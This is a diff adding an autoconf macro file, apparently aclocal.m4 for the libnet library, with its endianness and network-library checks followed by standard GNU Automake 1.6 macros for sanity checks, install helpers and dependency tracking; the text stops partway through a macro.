+
+dnl
+dnl Checks endianess
+dnl
+dnl usage:
+dnl
+dnl AC_LIBNET_ENDIAN_CHECK
+dnl
+dnl results:
+dnl
+dnl LIBNET_BIG_ENDIAN = 1 or
+dnl LIBNET_LIL_ENDIAN = 1
+dnl
+
+AC_DEFUN(AC_LIBNET_ENDIAN_CHECK,
+ [AC_MSG_CHECKING(machine endianess)
+
+ cat > conftest.c << EOF
+# include <stdio.h>
+# include <stdlib.h>
+
+ int main()
+ {
+ union
+ {
+ short s;
+ char c[[sizeof(short)]];
+ } un;
+
+ un.s = 0x0102;
+ if (sizeof (short) == 2)
+ {
+ if (un.c [[0]] == 1 && un.c [[1]] == 2)
+ {
+ printf("B\n");
+ }
+ else
+ {
+ if (un.c [[0]] == 2 && un.c [[1]] == 1)
+ {
+ printf("L\n");
+ }
+ }
+ }
+ else
+ {
+ printf("?\n");
+ }
+ return (EXIT_SUCCESS);
+ }
+EOF
+ ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS conftest.c $LIBS > /dev/null 2>&1
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x conftest ; then
+dnl failed to compile for some reason
+ ac_cv_libnet_endianess=unknown
+ else
+ ./conftest > conftest.out
+ result=`cat conftest.out`
+ if test $result = "B"; then
+ ac_cv_libnet_endianess=big
+ elif test $result = "L"; then
+ ac_cv_libnet_endianess=lil
+ else
+ ac_cv_libnet_endianess=unknown
+ fi
+ fi
+ rm -f conftest* core core.conftest
+
+ AC_MSG_RESULT($ac_cv_libnet_endianess)
+
+ if test $ac_cv_libnet_endianess = big ; then
+ AC_DEFINE(LIBNET_BIG_ENDIAN)
+ ENDIANESS="LIBNET_BIG_ENDIAN"
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_BIG_ENDIAN"
+ elif test $ac_cv_libnet_endianess = lil ; then
+ AC_DEFINE(LIBNET_LIL_ENDIAN)
+ ENDIANESS="LIBNET_LIL_ENDIAN"
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_LIL_ENDIAN"
+ fi
+ ])
+
+dnl
+dnl Improved version of AC_CHECK_LIB
+dnl
+dnl Thanks to John Hawkinson (jhawk@mit.edu)
+dnl
+dnl usage:
+dnl
+dnl AC_LBL_CHECK_LIB(LIBRARY, FUNCTION [, ACTION-IF-FOUND [,
+dnl ACTION-IF-NOT-FOUND [, OTHER-LIBRARIES]]])
+dnl
+dnl results:
+dnl
+dnl LIBS
+dnl
+
+define(AC_LBL_CHECK_LIB,
+[AC_MSG_CHECKING([for $2 in -l$1])
+dnl Use a cache variable name containing both the library and function name,
+dnl because the test really is for library $1 defining function $2, not
+dnl just for library $1. Separate tests with the same $1 and different $2's
+dnl may have different results.
+ac_lib_var=`echo $1['_']$2['_']$5 | sed 'y%./+- %__p__%'`
+AC_CACHE_VAL(ac_cv_lbl_lib_$ac_lib_var,
+[ac_save_LIBS="$LIBS"
+LIBS="-l$1 $5 $LIBS"
+AC_TRY_LINK(dnl
+ifelse([$2], [main], , dnl Avoid conflicting decl of main.
+[/* Override any gcc2 internal prototype to avoid an error. */
+]ifelse(AC_LANG, CPLUSPLUS, [#ifdef __cplusplus
+extern "C"
+#endif
+])dnl
+[/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char $2();
+]),
+ [$2()],
+ eval "ac_cv_lbl_lib_$ac_lib_var=yes",
+ eval "ac_cv_lbl_lib_$ac_lib_var=no")
+LIBS="$ac_save_LIBS"
+])dnl
+if eval "test \"`echo '$ac_cv_lbl_lib_'$ac_lib_var`\" = yes"; then
+ AC_MSG_RESULT(yes)
+ ifelse([$3], ,
+[changequote(, )dnl
+ ac_tr_lib=HAVE_LIB`echo $1 | sed -e 's/[^a-zA-Z0-9_]/_/g' \
+ -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'`
+changequote([, ])dnl
+ AC_DEFINE_UNQUOTED($ac_tr_lib)
+ LIBS="-l$1 $LIBS"
+], [$3])
+else
+ AC_MSG_RESULT(no)
+ifelse([$4], , , [$4
+])dnl
+fi
+])
+
+dnl
+dnl AC_LBL_LIBRARY_NET
+dnl
+dnl This test is for network applications that need socket() and
+dnl gethostbyname() -ish functions. Under Solaris, those applications
+dnl need to link with "-lsocket -lnsl". Under IRIX, they need to link
+dnl with "-lnsl" but should *not* link with "-lsocket" because
+dnl libsocket.a breaks a number of things (for instance:
+dnl gethostbyname() under IRIX 5.2, and snoop sockets under most
+dnl versions of IRIX).
+dnl
+dnl Unfortunately, many application developers are not aware of this,
+dnl and mistakenly write tests that cause -lsocket to be used under
+dnl IRIX. It is also easy to write tests that cause -lnsl to be used
+dnl under operating systems where neither are necessary (or useful),
+dnl such as SunOS 4.1.4, which uses -lnsl for TLI.
+dnl
+dnl This test exists so that every application developer does not test
+dnl this in a different, and subtly broken fashion.
+
+dnl It has been argued that this test should be broken up into two
+dnl seperate tests, one for the resolver libraries, and one for the
+dnl libraries necessary for using Sockets API. Unfortunately, the two
+dnl are carefully intertwined and allowing the autoconf user to use
+dnl them independantly potentially results in unfortunate ordering
+dnl dependancies -- as such, such component macros would have to
+dnl carefully use indirection and be aware if the other components were
+dnl executed. Since other autoconf macros do not go to this trouble,
+dnl and almost no applications use sockets without the resolver, this
+dnl complexity has not been implemented.
+dnl
+dnl The check for libresolv is in case you are attempting to link
+dnl statically and happen to have a libresolv.a lying around (and no
+dnl libnsl.a).
+dnl
+AC_DEFUN(AC_LBL_LIBRARY_NET, [
+ # Most operating systems have gethostbyname() in the default searched
+ # libraries (i.e. libc):
+ AC_CHECK_FUNC(gethostbyname, ,
+ # Some OSes (eg. Solaris) place it in libnsl:
+ AC_LBL_CHECK_LIB(nsl, gethostbyname, ,
+ # Some strange OSes (SINIX) have it in libsocket:
+ AC_LBL_CHECK_LIB(socket, gethostbyname, ,
+ # Unfortunately libsocket sometimes depends on libnsl.
+ # AC_CHECK_LIB's API is essentially broken so the
+ # following ugliness is necessary:
+ AC_LBL_CHECK_LIB(socket, gethostbyname,
+ LIBS="-lsocket -lnsl $LIBS",
+ AC_CHECK_LIB(resolv, gethostbyname),
+ -lnsl))))
+ AC_CHECK_FUNC(socket, , AC_CHECK_LIB(socket, socket, ,
+ AC_LBL_CHECK_LIB(socket, socket, LIBS="-lsocket -lnsl $LIBS", ,
+ -lnsl)))
+ # DLPI needs putmsg under HPUX so test for -lstr while we're at it
+ AC_CHECK_LIB(str, putmsg)
+ ])
+
+
+# Do all the work for Automake. -*- Autoconf -*-
+
+# This macro actually does too much some checks are only needed if
+# your package does certain things. But this isn't really a big deal.
+
+# Copyright 1996, 1997, 1998, 1999, 2000, 2001, 2002
+# Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+# serial 8
+
+# There are a few dirty hacks below to avoid letting `AC_PROG_CC' be
+# written in clear, in which case automake, when reading aclocal.m4,
+# will think it sees a *use*, and therefore will trigger all it's
+# C support machinery. Also note that it means that autoscan, seeing
+# CC etc. in the Makefile, will ask for an AC_PROG_CC use...
+
+
+AC_PREREQ([2.52])
+
+# Autoconf 2.50 wants to disallow AM_ names. We explicitly allow
+# the ones we care about.
+m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl
+
+# AM_INIT_AUTOMAKE(PACKAGE, VERSION, [NO-DEFINE])
+# AM_INIT_AUTOMAKE([OPTIONS])
+# -----------------------------------------------
+# The call with PACKAGE and VERSION arguments is the old style
+# call (pre autoconf-2.50), which is being phased out. PACKAGE
+# and VERSION should now be passed to AC_INIT and removed from
+# the call to AM_INIT_AUTOMAKE.
+# We support both call styles for the transition. After
+# the next Automake release, Autoconf can make the AC_INIT
+# arguments mandatory, and then we can depend on a new Autoconf
+# release and drop the old call support.
+AC_DEFUN([AM_INIT_AUTOMAKE],
+[AC_REQUIRE([AM_SET_CURRENT_AUTOMAKE_VERSION])dnl
+ AC_REQUIRE([AC_PROG_INSTALL])dnl
+# test to see if srcdir already configured
+if test "`cd $srcdir && pwd`" != "`pwd`" &&
+ test -f $srcdir/config.status; then
+ AC_MSG_ERROR([source directory already configured; run "make distclean" there first])
+fi
+
+# Define the identity of the package.
+dnl Distinguish between old-style and new-style calls.
+m4_ifval([$2],
+[m4_ifval([$3], [_AM_SET_OPTION([no-define])])dnl
+ AC_SUBST([PACKAGE], [$1])dnl
+ AC_SUBST([VERSION], [$2])],
+[_AM_SET_OPTIONS([$1])dnl
+ AC_SUBST([PACKAGE], [AC_PACKAGE_TARNAME])dnl
+ AC_SUBST([VERSION], [AC_PACKAGE_VERSION])])dnl
+
+_AM_IF_OPTION([no-define],,
+[AC_DEFINE_UNQUOTED(PACKAGE, "$PACKAGE", [Name of package])
+ AC_DEFINE_UNQUOTED(VERSION, "$VERSION", [Version number of package])])dnl
+
+# Some tools Automake needs.
+AC_REQUIRE([AM_SANITY_CHECK])dnl
+AC_REQUIRE([AC_ARG_PROGRAM])dnl
+AM_MISSING_PROG(ACLOCAL, aclocal-${am__api_version})
+AM_MISSING_PROG(AUTOCONF, autoconf)
+AM_MISSING_PROG(AUTOMAKE, automake-${am__api_version})
+AM_MISSING_PROG(AUTOHEADER, autoheader)
+AM_MISSING_PROG(MAKEINFO, makeinfo)
+AM_MISSING_PROG(AMTAR, tar)
+AM_PROG_INSTALL_SH
+AM_PROG_INSTALL_STRIP
+# We need awk for the "check" target. The system "awk" is bad on
+# some platforms.
+AC_REQUIRE([AC_PROG_AWK])dnl
+AC_REQUIRE([AC_PROG_MAKE_SET])dnl
+
+_AM_IF_OPTION([no-dependencies],,
+[AC_PROVIDE_IFELSE([AC_PROG_][CC],
+ [_AM_DEPENDENCIES(CC)],
+ [define([AC_PROG_][CC],
+ defn([AC_PROG_][CC])[_AM_DEPENDENCIES(CC)])])dnl
+AC_PROVIDE_IFELSE([AC_PROG_][CXX],
+ [_AM_DEPENDENCIES(CXX)],
+ [define([AC_PROG_][CXX],
+ defn([AC_PROG_][CXX])[_AM_DEPENDENCIES(CXX)])])dnl
+])
+])
+
+# Copyright 2002 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+
+# AM_AUTOMAKE_VERSION(VERSION)
+# ----------------------------
+# Automake X.Y traces this macro to ensure aclocal.m4 has been
+# generated from the m4 files accompanying Automake X.Y.
+AC_DEFUN([AM_AUTOMAKE_VERSION],[am__api_version="1.6"])
+
+# AM_SET_CURRENT_AUTOMAKE_VERSION
+# -------------------------------
+# Call AM_AUTOMAKE_VERSION so it can be traced.
+# This function is AC_REQUIREd by AC_INIT_AUTOMAKE.
+AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION],
+ [AM_AUTOMAKE_VERSION([1.6.3])])
+
+# Helper functions for option handling. -*- Autoconf -*-
+
+# Copyright 2001, 2002 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+# serial 2
+
+# _AM_MANGLE_OPTION(NAME)
+# -----------------------
+AC_DEFUN([_AM_MANGLE_OPTION],
+[[_AM_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])])
+
+# _AM_SET_OPTION(NAME)
+# ------------------------------
+# Set option NAME. Presently that only means defining a flag for this option.
+AC_DEFUN([_AM_SET_OPTION],
+[m4_define(_AM_MANGLE_OPTION([$1]), 1)])
+
+# _AM_SET_OPTIONS(OPTIONS)
+# ----------------------------------
+# OPTIONS is a space-separated list of Automake options.
+AC_DEFUN([_AM_SET_OPTIONS],
+[AC_FOREACH([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])])
+
+# _AM_IF_OPTION(OPTION, IF-SET, [IF-NOT-SET])
+# -------------------------------------------
+# Execute IF-SET if OPTION is set, IF-NOT-SET otherwise.
+AC_DEFUN([_AM_IF_OPTION],
+[m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])])
+
+#
+# Check to make sure that the build environment is sane.
+#
+
+# Copyright 1996, 1997, 2000, 2001 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+# serial 3
+
+# AM_SANITY_CHECK
+# ---------------
+AC_DEFUN([AM_SANITY_CHECK],
+[AC_MSG_CHECKING([whether build environment is sane])
+# Just in case
+sleep 1
+echo timestamp > conftest.file
+# Do `set' in a subshell so we don't clobber the current shell's
+# arguments. Must try -L first in case configure is actually a
+# symlink; some systems play weird games with the mod time of symlinks
+# (eg FreeBSD returns the mod time of the symlink's containing
+# directory).
+if (
+ set X `ls -Lt $srcdir/configure conftest.file 2> /dev/null`
+ if test "$[*]" = "X"; then
+ # -L didn't work.
+ set X `ls -t $srcdir/configure conftest.file`
+ fi
+ rm -f conftest.file
+ if test "$[*]" != "X $srcdir/configure conftest.file" \
+ && test "$[*]" != "X conftest.file $srcdir/configure"; then
+
+ # If neither matched, then we have a broken ls. This can happen
+ # if, for instance, CONFIG_SHELL is bash and it inherits a
+ # broken ls alias from the environment. This has actually
+ # happened. Such a system could not be considered "sane".
+ AC_MSG_ERROR([ls -t appears to fail. Make sure there is not a broken
+alias in your environment])
+ fi
+
+ test "$[2]" = conftest.file
+ )
+then
+ # Ok.
+ :
+else
+ AC_MSG_ERROR([newly created file is older than distributed files!
+Check your system clock])
+fi
+AC_MSG_RESULT(yes)])
+
+# -*- Autoconf -*-
+
+
+# Copyright 1997, 1999, 2000, 2001 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+# serial 3
+
+# AM_MISSING_PROG(NAME, PROGRAM)
+# ------------------------------
+AC_DEFUN([AM_MISSING_PROG],
+[AC_REQUIRE([AM_MISSING_HAS_RUN])
+$1=${$1-"${am_missing_run}$2"}
+AC_SUBST($1)])
+
+
+# AM_MISSING_HAS_RUN
+# ------------------
+# Define MISSING if not defined so far and test if it supports --run.
+# If it does, set am_missing_run to use it, otherwise, to nothing.
+AC_DEFUN([AM_MISSING_HAS_RUN],
+[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
+test x"${MISSING+set}" = xset || MISSING="\${SHELL} $am_aux_dir/missing"
+# Use eval to expand $SHELL
+if eval "$MISSING --run true"; then
+ am_missing_run="$MISSING --run "
+else
+ am_missing_run=
+ AC_MSG_WARN([`missing' script is too old or missing])
+fi
+])
+
+# AM_AUX_DIR_EXPAND
+
+# Copyright 2001 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+# For projects using AC_CONFIG_AUX_DIR([foo]), Autoconf sets
+# $ac_aux_dir to `$srcdir/foo'. In other projects, it is set to
+# `$srcdir', `$srcdir/..', or `$srcdir/../..'.
+#
+# Of course, Automake must honor this variable whenever it calls a
+# tool from the auxiliary directory. The problem is that $srcdir (and
+# therefore $ac_aux_dir as well) can be either absolute or relative,
+# depending on how configure is run. This is pretty annoying, since
+# it makes $ac_aux_dir quite unusable in subdirectories: in the top
+# source directory, any form will work fine, but in subdirectories a
+# relative path needs to be adjusted first.
+#
+# $ac_aux_dir/missing
+# fails when called from a subdirectory if $ac_aux_dir is relative
+# $top_srcdir/$ac_aux_dir/missing
+# fails if $ac_aux_dir is absolute,
+# fails when called from a subdirectory in a VPATH build with
+# a relative $ac_aux_dir
+#
+# The reason of the latter failure is that $top_srcdir and $ac_aux_dir
+# are both prefixed by $srcdir. In an in-source build this is usually
+# harmless because $srcdir is `.', but things will broke when you
+# start a VPATH build or use an absolute $srcdir.
+#
+# So we could use something similar to $top_srcdir/$ac_aux_dir/missing,
+# iff we strip the leading $srcdir from $ac_aux_dir. That would be:
+# am_aux_dir='\$(top_srcdir)/'`expr "$ac_aux_dir" : "$srcdir//*\(.*\)"`
+# and then we would define $MISSING as
+# MISSING="\${SHELL} $am_aux_dir/missing"
+# This will work as long as MISSING is not called from configure, because
+# unfortunately $(top_srcdir) has no meaning in configure.
+# However there are other variables, like CC, which are often used in
+# configure, and could therefore not use this "fixed" $ac_aux_dir.
+#
+# Another solution, used here, is to always expand $ac_aux_dir to an
+# absolute PATH. The drawback is that using absolute paths prevent a
+# configured tree to be moved without reconfiguration.
+
+# Rely on autoconf to set up CDPATH properly.
+AC_PREREQ([2.50])
+
+AC_DEFUN([AM_AUX_DIR_EXPAND], [
+# expand $ac_aux_dir to an absolute path
+am_aux_dir=`cd $ac_aux_dir && pwd`
+])
+
+# AM_PROG_INSTALL_SH
+# ------------------
+# Define $install_sh.
+
+# Copyright 2001 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+AC_DEFUN([AM_PROG_INSTALL_SH],
+[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
+install_sh=${install_sh-"$am_aux_dir/install-sh"}
+AC_SUBST(install_sh)])
+
+# AM_PROG_INSTALL_STRIP
+
+# Copyright 2001 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+# One issue with vendor `install' (even GNU) is that you can't
+# specify the program used to strip binaries. This is especially
+# annoying in cross-compiling environments, where the build's strip
+# is unlikely to handle the host's binaries.
+# Fortunately install-sh will honor a STRIPPROG variable, so we
+# always use install-sh in `make install-strip', and initialize
+# STRIPPROG with the value of the STRIP variable (set by the user).
+AC_DEFUN([AM_PROG_INSTALL_STRIP],
+[AC_REQUIRE([AM_PROG_INSTALL_SH])dnl
+# Installed binaries are usually stripped using `strip' when the user
+# run `make install-strip'. However `strip' might not be the right
+# tool to use in cross-compilation environments, therefore Automake
+# will honor the `STRIP' environment variable to overrule this program.
+dnl Don't test for $cross_compiling = yes, because it might be `maybe'.
+if test "$cross_compiling" != no; then
+ AC_CHECK_TOOL([STRIP], [strip], :)
+fi
+INSTALL_STRIP_PROGRAM="\${SHELL} \$(install_sh) -c -s"
+AC_SUBST([INSTALL_STRIP_PROGRAM])])
+
+# serial 4 -*- Autoconf -*-
+
+# Copyright 1999, 2000, 2001 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+
+# There are a few dirty hacks below to avoid letting `AC_PROG_CC' be
+# written in clear, in which case automake, when reading aclocal.m4,
+# will think it sees a *use*, and therefore will trigger all it's
+# C support machinery. Also note that it means that autoscan, seeing
+# CC etc. in the Makefile, will ask for an AC_PROG_CC use...
+
+
+
+# _AM_DEPENDENCIES(NAME)
+# ----------------------
+# See how the compiler implements dependency checking.
+# NAME is "CC", "CXX", "GCJ", or "OBJC".
+# We try a few techniques and use that to set a single cache variable.
+#
+# We don't AC_REQUIRE the corresponding AC_PROG_CC since the latter was
+# modified to invoke _AM_DEPENDENCIES(CC); we would have a circular
+# dependency, and given that the user is not expected to run this macro,
+# just rely on AC_PROG_CC.
+AC_DEFUN([_AM_DEPENDENCIES],
+[AC_REQUIRE([AM_SET_DEPDIR])dnl
+AC_REQUIRE([AM_OUTPUT_DEPENDENCY_COMMANDS])dnl
+AC_REQUIRE([AM_MAKE_INCLUDE])dnl
+AC_REQUIRE([AM_DEP_TRACK])dnl
+
+ifelse([$1], CC, [depcc="$CC" am_compiler_list=],
+ [$1], CXX, [depcc="$CXX" am_compiler_list=],
+ [$1], OBJC, [depcc="$OBJC" am_compiler_list='gcc3 gcc'],
+ [$1], GCJ, [depcc="$GCJ" am_compiler_list='gcc3 gcc'],
+ [depcc="$$1" am_compiler_list=])
+
+AC_CACHE_CHECK([dependency style of $depcc],
+ [am_cv_$1_dependencies_compiler_type],
+[if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then
+ # We make a subdir and do the tests there. Otherwise we can end up
+ # making bogus files that we don't know about and never remove. For
+ # instance it was reported that on HP-UX the gcc test will end up
+ # making a dummy file named `D' -- because `-MD' means `put the output
+ # in D'.
+ mkdir conftest.dir
+ # Copy depcomp to subdir because otherwise we won't find it if we're
+ # using a relative directory.
+ cp "$am_depcomp" conftest.dir
+ cd conftest.dir
+
+ am_cv_$1_dependencies_compiler_type=none
+ if test "$am_compiler_list" = ""; then
+ am_compiler_list=`sed -n ['s/^#*\([a-zA-Z0-9]*\))$/\1/p'] < ./depcomp`
+ fi
+ for depmode in $am_compiler_list; do
+ # We need to recreate these files for each test, as the compiler may
+ # overwrite some of them when testing with obscure command lines.
+ # This happens at least with the AIX C compiler.
+ echo '#include "conftest.h"' > conftest.c
+ echo 'int i;' > conftest.h
+ echo "${am__include} ${am__quote}conftest.Po${am__quote}" > confmf
+
+ case $depmode in
+ nosideeffect)
+ # after this tag, mechanisms are not by side-effect, so they'll
+ # only be used when explicitly requested
+ if test "x$enable_dependency_tracking" = xyes; then
+ continue
+ else
+ break
+ fi
+ ;;
+ none) break ;;
+ esac
+ # We check with `-c' and `-o' for the sake of the "dashmstdout"
+ # mode. It turns out that the SunPro C++ compiler does not properly
+ # handle `-M -o', and we need to detect this.
+ if depmode=$depmode \
+ source=conftest.c object=conftest.o \
+ depfile=conftest.Po tmpdepfile=conftest.TPo \
+ $SHELL ./depcomp $depcc -c conftest.c -o conftest.o >/dev/null 2>&1 &&
+ grep conftest.h conftest.Po > /dev/null 2>&1 &&
+ ${MAKE-make} -s -f confmf > /dev/null 2>&1; then
+ am_cv_$1_dependencies_compiler_type=$depmode
+ break
+ fi
+ done
+
+ cd ..
+ rm -rf conftest.dir
+else
+ am_cv_$1_dependencies_compiler_type=none
+fi
+])
+AC_SUBST([$1DEPMODE], [depmode=$am_cv_$1_dependencies_compiler_type])
+])
+
+
+# AM_SET_DEPDIR
+# -------------
+# Choose a directory name for dependency files.
+# This macro is AC_REQUIREd in _AM_DEPENDENCIES
+AC_DEFUN([AM_SET_DEPDIR],
+[rm -f .deps 2>/dev/null
+mkdir .deps 2>/dev/null
+if test -d .deps; then
+ DEPDIR=.deps
+else
+ # MS-DOS does not allow filenames that begin with a dot.
+ DEPDIR=_deps
+fi
+rmdir .deps 2>/dev/null
+AC_SUBST([DEPDIR])
+])
+
+
+# AM_DEP_TRACK
+# ------------
+AC_DEFUN([AM_DEP_TRACK],
+[AC_ARG_ENABLE(dependency-tracking,
+[ --disable-dependency-tracking Speeds up one-time builds
+ --enable-dependency-tracking Do not reject slow dependency extractors])
+if test "x$enable_dependency_tracking" != xno; then
+ am_depcomp="$ac_aux_dir/depcomp"
+ AMDEPBACKSLASH='\'
+fi
+AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno])
+AC_SUBST([AMDEPBACKSLASH])
+])
+
+# Generate code to set up dependency tracking. -*- Autoconf -*-
+
+# Copyright 1999, 2000, 2001, 2002 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+#serial 2
+
+# _AM_OUTPUT_DEPENDENCY_COMMANDS
+# ------------------------------
+AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS],
+[for mf in $CONFIG_FILES; do
+ # Strip MF so we end up with the name of the file.
+ mf=`echo "$mf" | sed -e 's/:.*$//'`
+ # Check whether this is an Automake generated Makefile or not.
+ # We used to match only the files named `Makefile.in', but
+ # some people rename them; so instead we look at the file content.
+ # Grep'ing the first line is not enough: some people post-process
+ # each Makefile.in and add a new line on top of each file to say so.
+ # So let's grep whole file.
+ if grep '^#.*generated by automake' $mf > /dev/null 2>&1; then
+ dirpart=`AS_DIRNAME("$mf")`
+ else
+ continue
+ fi
+ grep '^DEP_FILES *= *[[^ @%:@]]' < "$mf" > /dev/null || continue
+ # Extract the definition of DEP_FILES from the Makefile without
+ # running `make'.
+ DEPDIR=`sed -n -e '/^DEPDIR = / s///p' < "$mf"`
+ test -z "$DEPDIR" && continue
+ # When using ansi2knr, U may be empty or an underscore; expand it
+ U=`sed -n -e '/^U = / s///p' < "$mf"`
+ test -d "$dirpart/$DEPDIR" || mkdir "$dirpart/$DEPDIR"
+ # We invoke sed twice because it is the simplest approach to
+ # changing $(DEPDIR) to its actual value in the expansion.
+ for file in `sed -n -e '
+ /^DEP_FILES = .*\\\\$/ {
+ s/^DEP_FILES = //
+ :loop
+ s/\\\\$//
+ p
+ n
+ /\\\\$/ b loop
+ p
+ }
+ /^DEP_FILES = / s/^DEP_FILES = //p' < "$mf" | \
+ sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do
+ # Make sure the directory exists.
+ test -f "$dirpart/$file" && continue
+ fdir=`AS_DIRNAME(["$file"])`
+ AS_MKDIR_P([$dirpart/$fdir])
+ # echo "creating $dirpart/$file"
+ echo '# dummy' > "$dirpart/$file"
+ done
+done
+])# _AM_OUTPUT_DEPENDENCY_COMMANDS
+
+
+# AM_OUTPUT_DEPENDENCY_COMMANDS
+# -----------------------------
+# This macro should only be invoked once -- use via AC_REQUIRE.
+#
+# This code is only required when automatic dependency tracking
+# is enabled. FIXME. This creates each `.P' file that we will
+# need in order to bootstrap the dependency handling code.
+AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS],
+[AC_CONFIG_COMMANDS([depfiles],
+ [test x"$AMDEP_TRUE" != x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS],
